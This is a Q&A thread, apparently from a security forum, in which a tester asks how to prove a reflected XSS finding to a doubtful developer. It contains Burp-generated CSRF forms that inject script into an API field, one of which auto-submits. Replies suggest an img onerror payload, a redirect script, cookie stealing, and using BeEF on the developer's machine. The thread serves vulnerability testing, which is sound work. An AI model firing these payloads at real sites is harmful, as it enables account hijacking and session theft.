1

I was trying to make a PoC of XSS:

Attack sample:

I have injected script into the value:

<html>

  <body>
    <form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
      <input type="hidden" name="name" value="emoji&#95;use" />
      <input type="hidden" name="value" value="<script>alert('xss')</script>" />
      <input type="hidden" name="token" value="xoxs&#45;14407185377&#45;14407185393&#45;14621684436&#45;9d317bf841" />
      <input type="hidden" name="&#95;attempts" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

And I was able to get successful response from browser with <script>alert('xss')</script>. Now the script got injected and reflected at response I pointed out it as reflected XSS. The problem is that the alert doesn't get popped up, so it's just coming it as browser response.

Now my developer argues that the since the script doesn't get executed at the browser, so it's not vulnerable. How can I make proof of concept for this?

Possible exploitation which I can think of is to send a crafted link to the developer with beef and controlling the machine to prove the vulnerablity.

Any other way to prove the reflected XSS or any possible explanation which convinces my developer? I'm seeking suggestions from community, any other ideas to prove it?

  • Is that code as shown in a browser developer console, or as shown by a proxy/view source? Developer consoles sometimes "helpfully" parse html encoded tags making it look like xss is present, when it has actually been properly encoded. – Matthew Nov 16 '15 at 6:56
  • @Matthew what i did was intercepted the browser request with burp and generated csrf poc,there i just modified the post parameters with script ,the above seen code was burp generated html code bro, – BlueBerry - Vignesh4303 Nov 16 '15 at 6:59
  • Cool, you're right about the xss vulnerability then. Maybe try triggering an event - close the value parameter, and add an onload one to fire the alert box in your poc. Another option would be to inject <img src="blah" onerror="alert(1)"/> which should trigger when the image doesn't exist. – Matthew Nov 16 '15 at 7:03
  • @Matthew thanks for the response friend,i tried to insert the above script under the 'value' parameter where the script doesnt get executed ,instead it reflected in html response ,the above code just got printed at response,it doesnt thrown alert :( – BlueBerry - Vignesh4303 Nov 16 '15 at 7:12
  • 1
    Did you try Google. There are like 2 billion XSS examples of there. – Neil Smithline Nov 16 '15 at 15:07
2

The fact that the alert doesn't show, doesn't mean it's not there and in return it means input validation is not performed. That alone should be sufficient.

My next thought is (if the content type is set to html and not to json) to change the payload. What happens if you do:

<script>document.location.href="http://www.google.com";</script>

Assuming that a web application is used in front of the API, perhaps you can demonstrate a cookie stealer scenario.

In addition, you could demonstrate the alert box when using a proxy such as Fiddler and Burp Suite: Select the response, then click "generate HTML".

1

Does the page reflect vulnerable parameters when you submit the form from another website? In other words is it protected against CSRF?

If not you can simply add the form to other website and submit it autcomatically using javascript

Here is a PoC

 <html> 

<body> 
<form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
<input type="hidden" name="name" value="emoji&#95;use" />
<input type="hidden" name="value" value="<script>alert('xss')</script>" /> 
<input type="hidden" name="token" value="xoxs&#45;14407185377&#45;14407185393&#45;14621684436&#45;9d317bf841" />
<input type="hidden" name="&#95;attempts" value="1" /> 
<input type="submit" value="Submit request" />
</form>
<script type ="text/javascript ">
 document.forms[0].submit();
</script> 
</body>
</html>

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.